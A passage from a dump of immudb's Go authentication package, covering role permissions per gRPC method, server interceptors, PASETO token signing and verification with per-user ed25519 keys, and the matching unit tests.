PermissionAdmin, PermissionRW},\n\t\"VerifiableSet\":          {PermissionSysAdmin, PermissionAdmin, PermissionRW},\n\t\"StreamSet\":              {PermissionSysAdmin, PermissionAdmin, PermissionRW},\n\t\"StreamVerifiableSet\":    {PermissionSysAdmin, PermissionAdmin, PermissionRW},\n\t\"Get\":                    {PermissionSysAdmin, PermissionAdmin, PermissionRW, PermissionR},\n\t\"VerifiableGet\":          {PermissionSysAdmin, PermissionAdmin, PermissionRW, PermissionR},\n\t\"StreamGet\":              {PermissionSysAdmin, PermissionAdmin, PermissionRW, PermissionR},\n\t\"StreamVerifiableGet\":    {PermissionSysAdmin, PermissionAdmin, PermissionRW, PermissionR},\n\t\"GetAll\":                 {PermissionSysAdmin, PermissionAdmin, PermissionRW},\n\t\"ExecAll\":                {PermissionSysAdmin, PermissionAdmin, PermissionRW},\n\t\"StreamExecAll\":          {PermissionSysAdmin, PermissionAdmin, PermissionRW},\n\t\"SetReference\":           {PermissionSysAdmin, PermissionAdmin, PermissionRW},\n\t\"VerifiableSetReference\": {PermissionSysAdmin, PermissionAdmin, PermissionRW},\n\t\"ZAdd\":                   {PermissionSysAdmin, PermissionAdmin, PermissionRW},\n\t\"VerifiableZAdd\":         {PermissionSysAdmin, PermissionAdmin, PermissionRW},\n\t\"ZScan\":                  {PermissionSysAdmin, PermissionAdmin, PermissionRW, PermissionR},\n\t\"StreamZScan\":            {PermissionSysAdmin, PermissionAdmin, PermissionRW, PermissionR},\n\t\"VerifiableTxByID\":       {PermissionSysAdmin, PermissionAdmin, PermissionRW, PermissionR},\n\t\"IScan\":                  {PermissionSysAdmin, PermissionAdmin, PermissionRW, PermissionR},\n\t\"Scan\":                   {PermissionSysAdmin, PermissionAdmin, PermissionRW, PermissionR},\n\t\"StreamScan\":             {PermissionSysAdmin, PermissionAdmin, PermissionRW, PermissionR},\n\t\"History\":                {PermissionSysAdmin, PermissionAdmin, PermissionRW, PermissionR},\n\t\"StreamHistory\":          {PermissionSysAdmin, PermissionAdmin, PermissionRW, PermissionR},\n\t\"TxByID\":                 {PermissionSysAdmin, PermissionAdmin, PermissionRW, PermissionR},\n\t\"TxScan\":                 {PermissionSysAdmin, PermissionAdmin, PermissionRW, PermissionR},\n\t\"Count\":                  {PermissionSysAdmin, PermissionAdmin, PermissionRW, PermissionR},\n\t\"CountAll\":               {PermissionSysAdmin, PermissionAdmin, PermissionRW, PermissionR},\n\t\"DatabaseList\":           {PermissionSysAdmin, PermissionAdmin, PermissionRW, PermissionR},\n\t\"CurrentState\":           {PermissionSysAdmin, PermissionAdmin, PermissionRW, PermissionR},\n\t\"DatabaseHealth\":         {PermissionSysAdmin, PermissionAdmin, PermissionRW, PermissionR},\n\t\"DatabaseSettings\":       {PermissionSysAdmin, PermissionAdmin, PermissionRW, PermissionR},\n\t\"SQLExec\":                {PermissionSysAdmin, PermissionAdmin, PermissionRW},\n\t\"UseSnapshot\":            {PermissionSysAdmin, PermissionAdmin, PermissionRW, PermissionR},\n\t\"SQLQuery\":               {PermissionSysAdmin, PermissionAdmin, PermissionRW, PermissionR},\n\t\"ListTables\":             {PermissionSysAdmin, PermissionAdmin, PermissionRW, PermissionR},\n\t\"DescribeTable\":          {PermissionSysAdmin, PermissionAdmin, PermissionRW, PermissionR},\n\t\"VerifiableSQLGet\":       {PermissionSysAdmin, PermissionAdmin, PermissionRW, PermissionR},\n\n\t\"CreateCollection\": {PermissionSysAdmin, PermissionAdmin, PermissionRW},\n\t\"GetCollection\":    {PermissionSysAdmin, PermissionAdmin, PermissionRW, PermissionR},\n\t\"GetCollections\":   {PermissionSysAdmin, PermissionAdmin, PermissionRW, PermissionR},\n\t\"UpdateCollection\": {PermissionSysAdmin, PermissionAdmin, PermissionRW},\n\t\"DeleteCollection\": {PermissionSysAdmin, PermissionAdmin, PermissionRW},\n\t\"AddField\":         {PermissionSysAdmin, PermissionAdmin, PermissionRW},\n\t\"RemoveField\":      {PermissionSysAdmin, PermissionAdmin, PermissionRW},\n\t\"CreateIndex\":      {PermissionSysAdmin, PermissionAdmin, PermissionRW},\n\t\"DeleteIndex\":      {PermissionSysAdmin, PermissionAdmin, PermissionRW},\n\t\"InsertDocuments\":  {PermissionSysAdmin, PermissionAdmin, PermissionRW},\n\t\"ReplaceDocuments\": {PermissionSysAdmin, PermissionAdmin, PermissionRW},\n\t\"DeleteDocuments\":  {PermissionSysAdmin, PermissionAdmin, PermissionRW},\n\t\"SearchDocuments\":  {PermissionSysAdmin, PermissionAdmin, PermissionRW, PermissionR},\n\t\"CountDocuments\":   {PermissionSysAdmin, PermissionAdmin, PermissionRW, PermissionR},\n\t\"AuditDocument\":    {PermissionSysAdmin, PermissionAdmin, PermissionRW, PermissionR},\n\t\"ProofDocument\":    {PermissionSysAdmin, PermissionAdmin, PermissionRW, PermissionR},\n\n\t// admin methods\n\t\"ListUsers\":        {PermissionSysAdmin, PermissionAdmin},\n\t\"CreateUser\":       {PermissionSysAdmin, PermissionAdmin},\n\t\"ChangePassword\":   {PermissionSysAdmin, PermissionAdmin},\n\t\"SetPermission\":    {PermissionSysAdmin, PermissionAdmin},\n\t\"DeactivateUser\":   {PermissionSysAdmin, PermissionAdmin},\n\t\"SetActiveUser\":    {PermissionSysAdmin, PermissionAdmin},\n\t\"UpdateAuthConfig\": {PermissionSysAdmin},\n\t\"UpdateMTLSConfig\": {PermissionSysAdmin},\n\t\"CreateDatabase\":   {PermissionSysAdmin},\n\t\"CreateDatabaseV2\": {PermissionSysAdmin},\n\t\"UpdateDatabase\":   {PermissionSysAdmin},\n\t\"UpdateDatabaseV2\": {PermissionSysAdmin},\n\t\"Dump\":             {PermissionSysAdmin, PermissionAdmin},\n\t\"FlushIndex\":       {PermissionSysAdmin, PermissionAdmin},\n\t\"CompactIndex\":     {PermissionSysAdmin, PermissionAdmin},\n\t\"ExportTx\":         {PermissionSysAdmin, PermissionAdmin},\n\t\"ReplicateTx\":      {PermissionSysAdmin, PermissionAdmin},\n}\n\n// HasPermissionForMethod checks if userPermission can access method name\nfunc HasPermissionForMethod(userPermission uint32, method string) bool {\n\tmethodPermissions, ok := methodsPermissions[method]\n\tif !ok {\n\t\treturn false\n\t}\n\tfor _, val := range methodPermissions {\n\t\tif val == userPermission {\n\t\t\treturn true\n\t\t}\n\t}\n\treturn false\n}\n\nfunc IsMaintenanceMethod(method string) bool {\n\t_, maintenanceMethod := maintenanceMethods[method]\n\treturn maintenanceMethod\n}\n"
  },
  {
    "path": "pkg/auth/permissions_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage auth\n\nimport (\n\t\"testing\"\n)\n\nfunc TestHasPermissionForMethod(t *testing.T) {\n\tif !HasPermissionForMethod(PermissionSysAdmin, \"DeactivateUser\") {\n\t\tt.Errorf(\"HasPermissionForMethod error\")\n\t}\n\tif HasPermissionForMethod(PermissionSysAdmin, \"deactivateUser\") {\n\t\tt.Errorf(\"HasPermissionForMethod error\")\n\t}\n\tif HasPermissionForMethod(PermissionNone, \"DeactivateUser\") {\n\t\tt.Errorf(\"HasPermissionForMethod error\")\n\t}\n\n\tif !HasPermissionForMethod(PermissionR, \"CountAll\") {\n\t\tt.Errorf(\"expected PermissionR to be sufficient for CountAll\")\n\t}\n\tif HasPermissionForMethod(PermissionNone, \"CountAll\") {\n\t\tt.Errorf(\"expected PermissionNone to be insufficient for CountAll\")\n\t}\n}\n"
  },
  {
    "path": "pkg/auth/serverinterceptors.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage auth\n\nimport (\n\t\"context\"\n\t\"strings\"\n\n\t\"google.golang.org/grpc\"\n\t\"google.golang.org/grpc/codes\"\n\t\"google.golang.org/grpc/peer\"\n\t\"google.golang.org/grpc/status\"\n)\n\n// UpdateMetrics callback which will be called to update metrics\nvar UpdateMetrics func(context.Context)\n\n// ServerStreamInterceptor gRPC server interceptor for streams\nfunc ServerStreamInterceptor(srv interface{}, ss grpc.ServerStream, info *grpc.StreamServerInfo, handler grpc.StreamHandler) error {\n\tctx := ss.Context()\n\tif UpdateMetrics != nil {\n\t\tUpdateMetrics(ctx)\n\t}\n\tif IsTampered {\n\t\treturn status.Errorf(\n\t\t\tcodes.DataLoss, \"the database should be checked manually as we detected possible tampering\")\n\t}\n\tif !AuthEnabled {\n\t\tif !DevMode {\n\t\t\tif !isLocalClient(ctx) {\n\t\t\t\treturn status.Errorf(\n\t\t\t\t\tcodes.PermissionDenied,\n\t\t\t\t\t\"server has authentication disabled: only local connections are accepted\")\n\t\t\t}\n\t\t}\n\t}\n\treturn handler(srv, ss)\n}\n\n// ServerUnaryInterceptor gRPC server interceptor for unary methods\nfunc ServerUnaryInterceptor(ctx context.Context, req interface{}, info *grpc.UnaryServerInfo, handler grpc.UnaryHandler) (interface{}, error) {\n\tif UpdateMetrics != nil {\n\t\tUpdateMetrics(ctx)\n\t}\n\tif IsTampered {\n\t\treturn nil, status.Errorf(\n\t\t\tcodes.DataLoss, \"the database should be checked manually as we detected possible tampering\")\n\t}\n\tif !AuthEnabled {\n\t\tif !DevMode {\n\t\t\tif !isLocalClient(ctx) {\n\t\t\t\treturn nil, status.Errorf(\n\t\t\t\t\tcodes.PermissionDenied,\n\t\t\t\t\t\"server has authentication disabled: only local connections are accepted\")\n\t\t\t}\n\t\t}\n\t}\n\treturn handler(ctx, req)\n}\n\nvar localAddress = map[string]struct{}{\n\t\"127.0.0.1\": {},\n\t\"localhost\": {},\n\t\"bufconn\":   {},\n}\n\nfunc isLocalClient(ctx context.Context) bool {\n\tisLocal := false\n\tp, ok := peer.FromContext(ctx)\n\tif ok && p != nil {\n\t\tipAndPort := strings.Split(p.Addr.String(), \":\")\n\t\tif len(ipAndPort) > 0 {\n\t\t\t_, isLocal = localAddress[ipAndPort[0]]\n\t\t}\n\t}\n\treturn isLocal\n}\n"
  },
  {
    "path": "pkg/auth/serverinterceptors_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage auth\n\nimport (\n\t\"context\"\n\t\"net\"\n\t\"testing\"\n\n\t\"github.com/stretchr/testify/require\"\n\t\"google.golang.org/grpc\"\n\t\"google.golang.org/grpc/metadata\"\n\t\"google.golang.org/grpc/peer\"\n)\n\ntype MockedServerStream struct {\n}\n\nfunc (ss *MockedServerStream) SetHeader(metadata.MD) error {\n\treturn nil\n}\n\nfunc (ss *MockedServerStream) SendHeader(metadata.MD) error {\n\treturn nil\n}\n\nfunc (ss *MockedServerStream) SetTrailer(metadata.MD) {\n\n}\n\nfunc (ss *MockedServerStream) Context() context.Context {\n\tip := net.IP{}\n\tip.UnmarshalText([]byte(`10.0.0.1`))\n\tp := &peer.Peer{\n\t\tAddr: &net.TCPAddr{\n\t\t\tIP:   ip,\n\t\t\tPort: 9999,\n\t\t\tZone: \"zone\",\n\t\t},\n\t}\n\n\treturn peer.NewContext(context.Background(), p)\n}\n\nfunc (ss *MockedServerStream) SendMsg(m interface{}) error {\n\treturn nil\n}\n\nfunc (ss *MockedServerStream) RecvMsg(m interface{}) error {\n\treturn nil\n}\n\nfunc TestServerStreamInterceptor(t *testing.T) {\n\tUpdateMetrics = func(context.Context) {\n\t}\n\n\tIsTampered = false\n\tAuthEnabled = true\n\n\th := func(srv interface{}, stream grpc.ServerStream) error {\n\t\treturn nil\n\t}\n\n\tsh := ServerStreamInterceptor(nil, &MockedServerStream{}, nil, h)\n\trequire.Nil(t, sh)\n\n}\n\nfunc TestServerStreamInterceptorTampered(t *testing.T) {\n\tUpdateMetrics = func(context.Context) {\n\t}\n\n\tIsTampered = true\n\tAuthEnabled = true\n\n\th := func(srv interface{}, stream grpc.ServerStream) error {\n\t\treturn nil\n\t}\n\n\tsh := ServerStreamInterceptor(nil, &MockedServerStream{}, nil, h)\n\trequire.ErrorContains(t, sh, \"the database should be checked manually as we detected possible tampering\")\n\n}\n\nfunc TestServerStreamInterceptorNoAuth(t *testing.T) {\n\tUpdateMetrics = func(context.Context) {\n\t}\n\n\tIsTampered = false\n\tAuthEnabled = false\n\n\th := func(srv interface{}, stream grpc.ServerStream) error {\n\t\treturn nil\n\t}\n\n\tsh := ServerStreamInterceptor(nil, &MockedServerStream{}, nil, h)\n\trequire.ErrorContains(t, sh, \"server has authentication disabled: only local connections are accepted\")\n\n}\n\nfunc TestServerUnaryInterceptor(t *testing.T) {\n\tUpdateMetrics = func(context.Context) {\n\t}\n\tIsTampered = false\n\tAuthEnabled = true\n\n\th := func(ctx context.Context, req interface{}) (interface{}, error) {\n\t\treturn nil, nil\n\t}\n\n\tr, err := ServerUnaryInterceptor(context.Background(), \"method\", nil, h)\n\trequire.NoError(t, err)\n\trequire.Nil(t, r)\n}\n\nfunc TestServerUnaryInterceptorTampered(t *testing.T) {\n\tUpdateMetrics = func(context.Context) {\n\t}\n\tIsTampered = true\n\tAuthEnabled = true\n\n\th := func(ctx context.Context, req interface{}) (interface{}, error) {\n\t\treturn nil, nil\n\t}\n\n\t_, err := ServerUnaryInterceptor(context.Background(), \"method\", nil, h)\n\trequire.ErrorContains(t, err, \"the database should be checked manually as we detected possible tampering\")\n}\n\nfunc TestServerUnaryInterceptorNoAuth(t *testing.T) {\n\tUpdateMetrics = func(context.Context) {\n\t}\n\tIsTampered = false\n\tAuthEnabled = false\n\n\th := func(ctx context.Context, req interface{}) (interface{}, error) {\n\t\treturn nil, nil\n\t}\n\n\t_, err := ServerUnaryInterceptor(context.Background(), \"method\", nil, h)\n\trequire.ErrorContains(t, err, \"server has authentication disabled: only local connections are accepted\")\n}\n"
  },
  {
    "path": "pkg/auth/tokenkeys.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage auth\n\nimport (\n\t\"context\"\n\t\"crypto/ed25519\"\n\t\"fmt\"\n\t\"sync\"\n\t\"time\"\n)\n\ntype tokenKeyPair struct {\n\tpublicKey            ed25519.PublicKey\n\tprivateKey           ed25519.PrivateKey\n\tlastTokenGeneratedAt time.Time\n}\n\nvar tokenKeyPairs = struct {\n\tkeysPerUser      map[string]*tokenKeyPair\n\tlastEvictedAt    time.Time\n\tminEvictInterval time.Duration\n\tsync.RWMutex\n}{\n\tkeysPerUser:      map[string]*tokenKeyPair{},\n\tlastEvictedAt:    time.Unix(0, 0),\n\tminEvictInterval: 1 * time.Hour,\n}\n\nfunc generateKeys(Username string) error {\n\tpublicKey, privateKey, err := ed25519.GenerateKey(nil)\n\tif err != nil {\n\t\treturn fmt.Errorf(\n\t\t\t\"error generating public and private key pair for user %s: %v\",\n\t\t\tUsername, err)\n\t}\n\ttokenKeyPairs.Lock()\n\tdefer tokenKeyPairs.Unlock()\n\ttokenKeyPairs.keysPerUser[Username] =\n\t\t&tokenKeyPair{publicKey, privateKey, time.Now()}\n\treturn nil\n}\n\nfunc getTokenForUser(Username string) (*tokenKeyPair, bool) {\n\ttokenKeyPairs.RLock()\n\tdefer tokenKeyPairs.RUnlock()\n\tkp, ok := tokenKeyPairs.keysPerUser[Username]\n\treturn kp, ok\n}\n\nfunc updateLastTokenGeneratedAt(Username string) {\n\ttokenKeyPairs.Lock()\n\tdefer tokenKeyPairs.Unlock()\n\ttokenKeyPairs.keysPerUser[Username].lastTokenGeneratedAt = time.Now()\n}\n\nfunc evictOldTokenKeyPairs() {\n\ttokenKeyPairs.Lock()\n\tdefer tokenKeyPairs.Unlock()\n\t// 1 public key = 32B, 1 private key = 64B =>\n\t// 10_000 key pairs = (32 + 64) * 10_000 = 960_000B which is close to 1MB\n\t// if storing keys requires less memory than that, skip eviction\n\tif len(tokenKeyPairs.keysPerUser) < 10_000 {\n\t\treturn\n\t}\n\n\tnow := time.Now()\n\tif now.Before(tokenKeyPairs.lastEvictedAt.Add(tokenKeyPairs.minEvictInterval)) {\n\t\treturn\n\t}\n\tfor k, v := range tokenKeyPairs.keysPerUser {\n\t\t// - keys are used to generate tokens during login (and to verify them during any call with auth)\n\t\t// - if no token was generated with a key during the last 3 days, the user would have to login\n\t\t//   again anyway (tokens expire in a much shorter time than that), so we just evict the key\n\t\t//   (if user logins again, a new pair will be generated and used from that point on)\n\t\tif now.Before(v.lastTokenGeneratedAt.Add(3 * 24 * time.Hour)) {\n\t\t\tcontinue\n\t\t}\n\t\tdelete(tokenKeyPairs.keysPerUser, k)\n\t}\n\ttokenKeyPairs.lastEvictedAt = now\n}\n\n// DropTokenKeys removes the token keys from the cache, hence invalidating\n// any token that was generated with those keys\nfunc DropTokenKeys(username string) bool {\n\ttokenKeyPairs.Lock()\n\tdefer tokenKeyPairs.Unlock()\n\t_, ok := tokenKeyPairs.keysPerUser[username]\n\tif ok {\n\t\tdelete(tokenKeyPairs.keysPerUser, username)\n\t}\n\treturn ok\n}\n\n// DropTokenKeysForCtx removes the token keys from the cache for the username of\n// the token that resides in the provided context\nfunc DropTokenKeysForCtx(ctx context.Context) (bool, error) {\n\tjsonToken, err := verifyTokenFromCtx(ctx)\n\tif err != nil {\n\t\treturn false, err\n\t}\n\treturn DropTokenKeys(jsonToken.Username), nil\n}\n\n// GetLoggedInUser gets userdata from context\nfunc GetLoggedInUser(ctx context.Context) (*JSONToken, error) {\n\treturn verifyTokenFromCtx(ctx)\n}\n"
  },
  {
    "path": "pkg/auth/tokenkeys_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage auth\n\nimport (\n\t\"context\"\n\t\"encoding/hex\"\n\t\"strconv\"\n\t\"testing\"\n\t\"time\"\n\n\t\"github.com/stretchr/testify/require\"\n\t\"google.golang.org/grpc/metadata\"\n)\n\nfunc TestDropTokenKeys(t *testing.T) {\n\tif err := generateKeys(\"CharlesDickens\"); err != nil {\n\t\tt.Errorf(\"error generating keys %s\", err)\n\t}\n\tif !DropTokenKeys(\"CharlesDickens\") {\n\t\tt.Errorf(\"error drop token keys\")\n\t}\n\tevictOldTokenKeyPairs()\n\tpublic, _ := hex.DecodeString(\"93bced46788771711821e9aa6e89b65c8080436ee1f9f24c140613f47c89b435\")\n\tprivate, _ := hex.DecodeString(\"a11110e174b875ac7d50ff26c444710e3e3ef49249e891638a64b53ba41bd1b393bced46788771711821e9aa6e89b65c8080436ee1f9f24c140613f47c89b435\")\n\ttm := time.Unix(1593767032, 0)\n\tkeyPair := &tokenKeyPair{\n\t\tpublicKey:            public,\n\t\tprivateKey:           private,\n\t\tlastTokenGeneratedAt: tm,\n\t}\n\tfor i := 0; i < 11_000; i++ {\n\t\ttokenKeyPairs.keysPerUser[\"CharlesDickens\"+strconv.Itoa(i)] = keyPair\n\t}\n\tevictOldTokenKeyPairs()\n}\n\nfunc TestDropTokenKeysForCtx(t *testing.T) {\n\tu := User{\n\t\tUsername: \"copperfield\",\n\t\tActive:   true,\n\t}\n\tgenerateKeys(\"copperfield\")\n\ttoken, err := GenerateToken(u, 2, 60)\n\trequire.NoError(t, err)\n\tm := make(map[string][]string)\n\tm[\"authorization\"] = []string{token}\n\tctx := metadata.NewIncomingContext(context.Background(), m)\n\tjs, err := GetLoggedInUser(ctx)\n\trequire.NoError(t, err)\n\tif js.Username != u.Username {\n\t\tt.Errorf(\"Error GetLoggedInUser usernames do not match\")\n\t}\n\t_, err = DropTokenKeysForCtx(ctx)\n\trequire.NoError(t, err)\n}\n"
  },
  {
    "path": "pkg/auth/tokens.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage auth\n\nimport (\n\t\"context\"\n\t\"crypto/ed25519\"\n\t\"encoding/base64\"\n\t\"encoding/json\"\n\t\"errors\"\n\t\"fmt\"\n\t\"strconv\"\n\t\"strings\"\n\t\"time\"\n\n\timmuerror \"github.com/codenotary/immudb/pkg/errors\"\n\n\t\"github.com/o1egl/paseto\"\n\t\"github.com/rs/xid\"\n\t\"google.golang.org/grpc/codes\"\n\t\"google.golang.org/grpc/metadata\"\n\t\"google.golang.org/grpc/status\"\n)\n\nvar pasetoV2 = paseto.NewV2()\n\nconst footer = \"immudb\"\n\n// GenerateToken ...\nfunc GenerateToken(user User, database int64, expTime int) (string, error) {\n\tnow := time.Now()\n\tkeys, ok := getTokenForUser(user.Username)\n\tif !ok {\n\t\tif err := generateKeys(user.Username); err != nil {\n\t\t\treturn \"\", err\n\t\t}\n\t\tkeys, ok = getTokenForUser(user.Username)\n\t\tif !ok {\n\t\t\treturn \"\", errors.New(\"internal error: missing auth keys\")\n\t\t}\n\t} else {\n\t\tupdateLastTokenGeneratedAt(user.Username)\n\t}\n\tjsonToken := paseto.JSONToken{\n\t\tExpiration: now.Add(time.Duration(expTime) * time.Minute),\n\t\tSubject:    user.Username,\n\t}\n\tjsonToken.Set(\"database\", fmt.Sprintf(\"%d\", database))\n\ttoken, err := pasetoV2.Sign(keys.privateKey, jsonToken, footer)\n\tif err != nil {\n\t\treturn \"\", fmt.Errorf(\"error generating token: %v\", err)\n\t}\n\tgo evictOldTokenKeyPairs()\n\treturn token, nil\n}\n\n// JSONToken ...\ntype JSONToken struct {\n\tUsername      string\n\tExpiration    time.Time\n\tDatabaseIndex int64\n}\n\nvar tokenEncoder = base64.RawURLEncoding\n\n// parsePublicTokenPayload parses the public (unencrypted) token payload\n// works even with expired tokens (that do not pass verification)\nfunc parsePublicTokenPayload(token string) (*JSONToken, error) {\n\ttokenPieces := strings.Split(token, \".\")\n\tif len(tokenPieces) < 3 {\n\t\t// version.purpose.payload or version.purpose.payload.footer\n\t\t// see: https://tools.ietf.org/id/draft-paragon-paseto-rfc-00.html#rfc.section.2\n\t\treturn nil, errors.New(\"malformed token: expected at least 3 pieces\")\n\t}\n\tencodedPayload := []byte(tokenPieces[2])\n\tpayload := make([]byte, tokenEncoder.DecodedLen(len(encodedPayload)))\n\tif _, err := tokenEncoder.Decode(payload, encodedPayload); err != nil {\n\t\treturn nil, fmt.Errorf(\"error decoding token payload: %v\", err)\n\t}\n\tif len(payload) < ed25519.SignatureSize {\n\t\treturn nil, errors.New(\"malformed token: incorrect token size\")\n\t}\n\tpayloadBytes := payload[:len(payload)-ed25519.SignatureSize]\n\tvar jsonToken paseto.JSONToken\n\tif err := json.Unmarshal(payloadBytes, &jsonToken); err != nil {\n\t\treturn nil, fmt.Errorf(\"error unmarshalling token payload json: %v\", err)\n\t}\n\tvar index int64 = -1\n\tif p := jsonToken.Get(\"database\"); p != \"\" {\n\t\tpint, err := strconv.ParseInt(p, 10, 8)\n\t\tif err == nil {\n\t\t\tindex = pint\n\t\t}\n\t}\n\treturn &JSONToken{\n\t\tUsername:      jsonToken.Subject,\n\t\tExpiration:    jsonToken.Expiration,\n\t\tDatabaseIndex: index,\n\t}, nil\n}\n\nfunc verifyToken(token string) (*JSONToken, error) {\n\ttokenPayload, err := parsePublicTokenPayload(token)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tkeys, ok := getTokenForUser(tokenPayload.Username)\n\tif !ok {\n\t\treturn nil, status.Error(\n\t\t\tcodes.Unauthenticated, \"Token data not found\")\n\t}\n\tvar jsonToken paseto.JSONToken\n\tvar footer string\n\tif err := pasetoV2.Verify(token, keys.publicKey, &jsonToken, &footer); err != nil {\n\t\treturn nil, err\n\t}\n\tif err := jsonToken.Validate(); err != nil {\n\t\treturn nil, err\n\t}\n\tvar index int64 = -1\n\tif p := jsonToken.Get(\"database\"); p != \"\" {\n\t\tpint, err := strconv.ParseInt(p, 10, 64)\n\t\tif err == nil {\n\t\t\tindex = pint\n\t\t}\n\t}\n\treturn &JSONToken{\n\t\tUsername:      jsonToken.Subject,\n\t\tExpiration:    jsonToken.Expiration,\n\t\tDatabaseIndex: index,\n\t}, nil\n}\n\nfunc verifyTokenFromCtx(ctx context.Context) (*JSONToken, error) {\n\tmd, ok := metadata.FromIncomingContext(ctx)\n\tif !ok {\n\t\treturn nil, ErrNotLoggedIn\n\t}\n\tauthHeader, ok := md[\"authorization\"]\n\tif !ok || len(authHeader) < 1 {\n\t\treturn nil, ErrNotLoggedIn\n\t}\n\ttoken := strings.TrimPrefix(authHeader[0], \"Bearer \")\n\tif token == \"\" {\n\t\treturn nil, ErrNotLoggedIn\n\t}\n\tjsonToken, err := verifyToken(token)\n\tif err != nil {\n\t\tif strings.HasPrefix(fmt.Sprintf(\"%s\", err), \"token has expired\") {\n\t\t\treturn nil, err\n\t\t}\n\t\tif st, stOk := status.FromError(err); stOk {\n\t\t\tif st.Code() == codes.Unauthenticated {\n\t\t\t\treturn nil, ErrNotLoggedIn\n\t\t\t}\n\t\t}\n\t\treturn nil, immuerror.Wrap(err, \"invalid token\")\n\t}\n\treturn jsonToken, nil\n}\n\n//NewUUID generate uuid\nfunc NewUUID() xid.ID {\n\treturn xid.New()\n}\n\n//NewStringUUID generate uuid and return as string\nfunc NewStringUUID() string {\n\treturn xid.New().String()\n}\n"
  },
  {
    "path": "pkg/auth/tokens_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage auth\n\nimport (\n\t\"context\"\n\t\"strings\"\n\t\"testing\"\n\n\t\"github.com/stretchr/testify/require\"\n\t\"google.golang.org/grpc/metadata\"\n)\n\nfunc TestUUID(t *testing.T) {\n\tuuid := NewUUID()\n\tif len(uuid.Bytes()) == 0 {\n\t\tt.Errorf(\"NewUUID, error generating uuid\")\n\t}\n\n\tstrUUID := NewStringUUID()\n\tif len(strUUID) == 0 {\n\t\tt.Errorf(\"NewStringUUID, error generating uuid\")\n\t}\n}\nfunc TestToken(t *testing.T) {\n\tu := User{\n\t\tUsername: \"immudb\",\n\t\tActive:   true,\n\t}\n\ttoken, err := GenerateToken(u, 2, 60)\n\trequire.NoError(t, err)\n\tif len(token) == 0 {\n\t\tt.Errorf(\"Error GenerateToken token length equal to zero\")\n\t}\n\n\tjToken, err := verifyToken(token)\n\trequire.NoError(t, err)\n\tif jToken.Username != u.Username {\n\t\tt.Errorf(\"Token username error %s\", jToken.Username)\n\t}\n\tif jToken.DatabaseIndex != 2 {\n\t\tt.Errorf(\"Token DatabaseIndex error %d\", jToken.DatabaseIndex)\n\t}\n\twrongToken := strings.Replace(token, \".\", \"\", 2)\n\t_, err = verifyToken(wrongToken)\n\tif err == nil {\n\t\tt.Errorf(\"verifyToken, failed to catch token error %s\", err)\n\t}\n}\n\nfunc TestVerifyFromCtx(t *testing.T) {\n\tu := User{\n\t\tUsername: \"immudb\",\n\t\tActive:   true,\n\t}\n\ttoken, err := GenerateToken(u, 2, 60)\n\trequire.NoError(t, err)\n\tctx := context.Background()\n\t_, err = verifyTokenFromCtx(ctx)\n\tif err == nil {\n\t\tt.Errorf(\"Error verifyTokenFromCtx on empty context\")\n\t}\n\tm := make(map[string][]string)\n\tm[\"authorization\"] = []string{token}\n\tnewCtx := metadata.NewIncomingContext(ctx, m)\n\tjs, err := verifyTokenFromCtx(newCtx)\n\trequire.NoError(t, err)\n\tif js.Username != u.Username {\n\t\tt.Errorf(\"Token username error %s\", js.Username)\n\t}\n\tif js.DatabaseIndex != 2 {\n\t\tt.Errorf(\"Token DatabaseIndex error %d\", 